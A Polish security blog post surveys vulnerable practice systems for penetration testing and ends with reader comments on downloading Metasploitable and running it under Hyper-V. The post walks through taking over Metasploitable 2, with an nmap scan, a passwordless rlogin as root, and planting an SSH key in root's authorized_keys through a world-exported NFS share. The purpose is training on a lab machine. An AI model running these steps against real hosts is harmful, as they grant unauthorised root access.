Wstęp
W dzisiejszym tekście z cyklu “Narzędzia” zajmiemy się… workami treningowymi. Nie będę oczywiście rozwodził się nad przyborami wykorzystywanymi przez miłośników sportów walki, zamiast tego zajmiemy się systemami stworzonymi specjalnie z myślą o praktycznym trenowaniu testów penetracyjnych.
Wielu początkujących w temacie ofensywnego bezpieczeństwa informatycznego rozpoczyna naukę narzędzi takich jak Metasploit Framework. By takie ćwiczenia miały sens i jednocześnie dawały nam prawdziwe praktyczne doświadczenie, należy jeszcze skorzystać ze wspomnianych worków treningowych.
Zapraszam więc do krótkiego przeglądu rozwiązań, które pozwolą na wygodne i bezpieczne stawianie pierwszych kroków w testach penetracyjnych.
21LTR
W przypadku 21LTR scenariusz jest bardzo prosty. Mamy do dyspozycji LiveCD z systemem, który mamy poddać testowi penetracyjnemu na zasadach określonych przez klienta. Jak to zwykle bywa w takich przypadkach, naszym podstawowym zadaniem jest zaraportowanie podatności, które uda się zidentyfikować. W takim razie do dzieła!
Lab in a box
Lab in a box został przygotowany przez PenTestlaboratory i ma do zaoferowania całe wirtualne laboratorium składające się zarówno z systemu służącego do przeprowadzania szkoleniowych testów penetracyjnych, jak i z systemów „ofiar”. Całość pozwala na wygodne stawianie pierwszych kroków przyszłym pentesterom.
Exploit-Exercises: Nebula, Protostar, Fusion
Exploit-Exercises to bardzo interesujący zbiór maszyn wirtualnych oraz dedykowanych dla nich ćwiczeń z zakresu praktycznego wykorzystywania rozmaitych podatności w systemach operacyjnych oraz przygotowywania własnych exploitów. Będziemy mogli przećwiczyć takie zagadnienia jak: Stack overflow, Heap overflow, Address Space Layout Randomisation, Position Independent Executables, Non-executable Memory, Source Code Fortification (_DFORTIFY_SOURCE=), Stack Smashing Protection (ProPolice / SSP), Timing attacks i inne.
Metasploitable 2
Metasploitable to obecnie jeden z najbardziej znanych systemów przeznaczonych do nauki praktycznych testów penetracyjnych. Projekt powstał w firmie Rapid7, czyli zespole odpowiedzialnym za rozwój projektu Metasploit. Metasploitable jest zorientowany przede wszystkim na typowe podatności i błędy konfiguracyjne w systemie operacyjnym oraz w usługach sieciowych. Wszystko to powoduje, że M2 to idealny system do rozpoczęcia bezpiecznej przygody z testami penetracyjnymi. Spójrzmy więc, jak to wygląda w praktyce!
Gdy już zdecydujemy się na praktyczne ćwiczenia z naszym workiem treningowym, możemy zacząć od małego rekonesansu z wykorzystaniem nmapa, przykładowo nmap -p- X.X.X.X. Dla systemu Metasploitable 2 otrzymamy następujące wyniki:
Not shown: 65506 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
3632/tcp open distccd
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
6697/tcp open unknown
8009/tcp open ajp13
8180/tcp open unknown
8787/tcp open unknown
39292/tcp open unknown
43729/tcp open unknown
44813/tcp open unknown
55852/tcp open unknown
Jak widać, do wyboru mamy sporo usług, a niemal każda z nich pozwoala na zdalne uzyskanie dostępu do systemu.
Do wykorzystania niektórych luk nie będziemy nawet potrzebować żadnych specjalnych narzędzi. Spójrzmy na otwarty port TCP 513. Czyżby administrator korzystał z rloginu? Być może dla własnej wygody zezwolił również na zdalny dostęp dla dowolnego hosta? Sprawdźmy go!
# rlogin -l root X.X.X.X
W wyniku otrzymamy… root@metasploitable:~#
Czasem wystarczy więc tylko tyle, by zdalnie uzyskać pełną kontrolę nad docelowym systemem.
Teraz spójrzmy na Network File System (NFS).
root@ubuntu:~# showmount -e X.X.X.X
Export list for X.X.X.X:
/ *
Ponieważ na docelowym systemie działa SSH, w powyższej sytuacji wystarczy tylko wygenerować klucz SSH i podrzucić go naszej ofierze.
root@ubuntu:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs X.X.X.X:/ /tmp/r00t/
root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
root@ubuntu:~# umount /tmp/r00t
root@ubuntu:~# ssh root@X.X.X.X
Efekt? Ten sam co wcześniej, czyli… root@metasploitable:~#
Wniosek jest więc taki, że Metasploitable może zostać zdobyte na wiele sposobów. Mamy tu do dyspozycji jeszcze m.in. słabe hasła, backdoory oraz wiele różnych dziurawych usług sieciowych, dzięki czemu będziemy mogli również w praktyce przećwiczyć wiele modułów składających się na Metasploit Framework.
Z powyższych przykładów widać, że systemy takie jak Metasploitable stanowią nieocenioną pomoc w trakcie konfigurowania laboratoriów dla mniej lub bardziej zaawansowanych pentesterów. Dzięki nim możemy w bezpieczny i wygodny sposób testować rozmaite narzędzia oraz dowolnie rozwijać własne umiejętności.
Jeśli chcecie podzielić się z nami swoimi ulubionymi systemami tego typu, zapraszamy do dyskusji i wymiany doświadczeń.
— Wojciech Smol, (wojciech.smol<at>sekurak.pl)
Bardzo ciekawy wpis dla początkujących nie tylko pentesterow ale również sysadminow, którzy chcą pocwiczyc swoje umiejętności
Jak to dobrze że Wojciech wrócił : )
Interesujące rzeczy! Proszę o więcej, dużo więcej. Jak jeszcze można dostać się do metasploitable? Takie praktyczne przykłady mógłbym czytać bez końca.
Działa komuś torrent z laboratorium ?
[…] Lista z sekuraka: http://sekurak.pl/trenowanie-testow-penetracyjnych-na-zywych-systemach/ […]
Pobieram metasploitable i za każdym razem mam inny hash pliku. Dodatkowo pobranego pliku nie mozna rozpakować.
Najlepiej by było pobrac za pomocą torrenta, ale czy znacie jakieś pewne źródło?
Pobierasz stąd? http://sourceforge.net/projects/metasploitable/files/Metasploitable2/
Dzieki za odpowiedz. Tak, ale skontaktowalem sie z programistami z rapid7 i szybko mi odpisali :
No torrent that I know of, but you can download it direct from Rapid7 here. The downside is it is required registration:
http://information.rapid7.com/metasploitable-download.html
Ściągnąłem, przekonwertowałem z vmdk do vhd, niestety pod hyperv (a jest to moj glowny hypervisor) nie dziala siec.
Po dodaniu w
nano /etc/initramfs-tools/modules
hv_vmbus
hv_blkvscb
hv_netvsc
hv_storvsc
i nastepnie
update-initramfs -u
reboot
System nie startuje.